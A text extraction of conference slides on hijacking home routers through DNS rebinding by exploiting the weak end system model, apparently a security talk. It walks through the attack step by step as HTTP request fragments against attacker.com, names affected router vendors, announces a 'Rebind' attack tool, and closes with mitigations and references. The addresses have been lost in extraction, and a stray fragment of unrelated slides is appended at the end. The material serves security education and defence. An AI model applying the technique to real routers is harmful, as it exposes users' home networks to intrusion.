How to Hack Millions of Routers. Craig Heffner, Seismic LLC
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1 How to Hack Millions of Routers Craig Heffner, Seismic LLC
2 SOHO Router Security?
3 Common Attack Techniques Cross Site Request Forgery No trust relationship between browser and router Can t forge Basic Authentication credentials Anti-CSRF Limited by the same origin policy DNS Rebinding Rebinding prevention by OpenDNS / NoScript / DNSWall Most rebinding attacks no longer work Most
4 Multiple A Record Attack Better known as DNS load balancing / redundancy Return multiple IP addresses in DNS response Browser attempts to connect to each IP addresses in order If one IP goes down, browser switches to the next IP in the list Limited attack Can rebind to any public IP address Can t rebind to an RFC1918 IP addresses
5 Rebinding to a Public IP Target IP: Attacker IP: Attacker Domain: attacker.com
6 Rebinding to a Public IP What is the IP address for attacker.com?
7 Rebinding to a Public IP
8 Rebinding to a Public IP GET / HTTP/1.1 Host: attacker.com
9 Rebinding to a Public IP <script> </script>
10 Rebinding to a Public IP GET / HTTP/1.1 Host: attacker.com
11 Rebinding to a Public IP TCP RST
12 Rebinding to a Public IP GET / HTTP/1.1 Host: attacker.com
13 Rebinding to a Public IP <html> </html>
14 Rebinding to a Private IP Target IP: Attacker IP: Attacker Domain: attacker.com
15 Rebinding to a Private IP What is the IP address for attacker.com?
16 Rebinding to a Private IP
17 Rebinding to a Private IP GET / HTTP/1.1 Host: attacker.com
18 Rebinding to a Private IP <html> </html>
19 Services Bound to All Interfaces # netstat l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:80 *:* LISTEN tcp 0 0 *:53 *:* LISTEN tcp 0 0 *:22 *:* LISTEN tcp 0 0 *:23 *:* LISTEN
20 Firewall Rules Based on Interface Names -A INPUT i etho j DROP -A INPUT j ACCEPT
21 IP Stack Implementations RFC 1122 defines two IP models: Strong End System Model Weak End System Model
22 The Weak End System Model RFC 1122, Weak End System Model: A host MAY silently discard an incoming datagram whose destination address does not correspond to the physical interface through which it is received. A host MAY restrict itself to sending (non-source-routed) IP datagrams only through the physical interface that corresponds to the IP source address of the datagrams.
23 Weak End System Model eth eth
24 Weak End System Model TCP SYN Packet Source IP: Destination IP: Destination Port: 80 eth eth
25 Weak End System Model TCP SYN/ACK Packet Source IP: Destination IP: Source Port: 80 eth eth
26 Weak End System Model TCP ACK Packet Source IP: Destination IP: Destination Port: 80 eth eth
27 Traffic Capture
28 End Result
29 Public IP Rebinding Attack Target IP: Attacker IP: Attacker Domain: attacker.com
30 Public IP Rebinding Attack What is the IP address for attacker.com?
31 Public IP Rebinding Attack
32 Public IP Rebinding Attack GET / HTTP/1.1 Host: attacker.com
33 Public IP Rebinding Attack <script>...</script>
34 Public IP Rebinding Attack GET / HTTP/1.1 Host: attacker.com
35 Public IP Rebinding Attack TCP RST
36 Public IP Rebinding Attack GET / HTTP/1.1 Host: attacker.com
37 Public IP Rebinding Attack <html> </html>
38 Public IP Rebinding Attack Pros: Nearly instant rebind, no delay or waiting period Don t need to know router s internal IP Works in all major browsers: IE, FF, Opera, Safari, Chrome Cons: Router must meet very specific conditions Must bind Web server to the WAN interface Firewall rules must be based on interface names, not IP addresses Must implement the weak end system model Not all routers are vulnerable
39 Affected Routers
40 Asus
41 Belkin
42 Dell
43 Thompson
44 Linksys
45 Third Party Firmware
46 ActionTec
47 Making the Attack Practical To make the attack practical: Must obtain target s public IP address automatically Must coordinate services (DNS, Web, Firewall) Must do something useful
48 Tool Release: Rebind Provides all necessary services DNS, Web, Firewall Serves up JavaScript code Limits foreground activity Makes use of cross-domain XHR, if supported Supports all major Web browsers Attacker can browse target routers in real-time Via a standard HTTP proxy
49 Rebind Target IP: Rebind IP: Attacker Domain: attacker.com
50 Rebind
51 Rebind
52 Rebind What is the IP address for attacker.com?
53 Rebind
54 Rebind GET /init HTTP/1.1 Host: attacker.com
55 Rebind Location:
56 Rebind What is the IP address for wacme.attacker.com?
57 Rebind
58 Rebind GET /exec HTTP/1.1 Host: wacme.attacker.com
59 Rebind <script> </script>
60 Rebind GET / HTTP/1.1 Host: wacme.attacker.com
61 Rebind TCP RST
62 Rebind GET / HTTP/1.1 Host: wacme.attacker.com
63 Rebind <html> </html>
64 Rebind GET /poll HTTP/1.1 Host: attacker.com:
65 Rebind
66 Rebind
67 Rebind GET HTTP/
68 Rebind GET /poll HTTP/1.1 Host: attacker.com:
69 Rebind GET / HTTP/
70 Rebind GET / HTTP/1.1 Host: wacme.attacker.com
71 Rebind <html> </html>
72 Rebind POST /exec HTTP/1.1 Host: attacker.com:81 <html> </html>
73 Rebind <html> </html>
74 Rebind
75 Demo
76 More Fun With Rebind Attacking SOAP services UPnP HNAP We can rebind to any public IP Proxy attacks to other Web sites via your browser As long as the site doesn t check the host header
77 DNS Rebinding Countermeasures
78 Am I Vulnerable?
79 End-User Mitigations Break any of the attack s conditions Interface binding Firewall rules Routing rules Disable the HTTP administrative interface Reduce the impact of the attack Basic security precautions
80 Blocking Attacks at the Router Don t bind services to the external interface May not have sufficient access to the router to change this Some services don t give you a choice Re-configure firewall rules -A INPUT i eth1 d /16 j DROP
81 HTTP Administrative Interface Disable the HTTP interface Use HTTPS / SSH Disable UPnP while you re at it But be warned Enabling HTTPS won t disable HTTP In some routers you can t disable HTTP Some routers have HTTP listening on alternate ports In some routers you can t disable HNAP
82 Blocking Attacks at the Host Re-configure firewall rules -A INPUT d /16 j DROP Configure dummy routes route add -net /16 gw
83 Basic Security Precautions Change your router s default password Keep your firmware up to date Don t trust un-trusted content
84 Vendor / Industry Solutions Fix the same-origin policy in browsers Implement the strong end system model in routers Build DNS rebinding mitigations into routers
85 Conclusion DNS rebinding still poses a threat to your LAN Tools are available to exploit DNS rebinding Only you can prevent forest fires
86 Q & A Rebind project Contact [email protected]
87 References Java Security: From HotJava to Netscape and Beyond Protecting Browsers From DNS Rebinding Attacks Design Reviewing the Web Intranet Invasion Through Anti-DNS Pinning 07/Byrne/Presentation/bh-usa-07-byrne.pdf Anti-DNS Pinning Demo
88 References Same Origin Policy RFC Loopback and Multi-Homed Routing Flaw TCP/IP Illustrated Volume 2, W. Richard Stevens p
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[email protected] http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web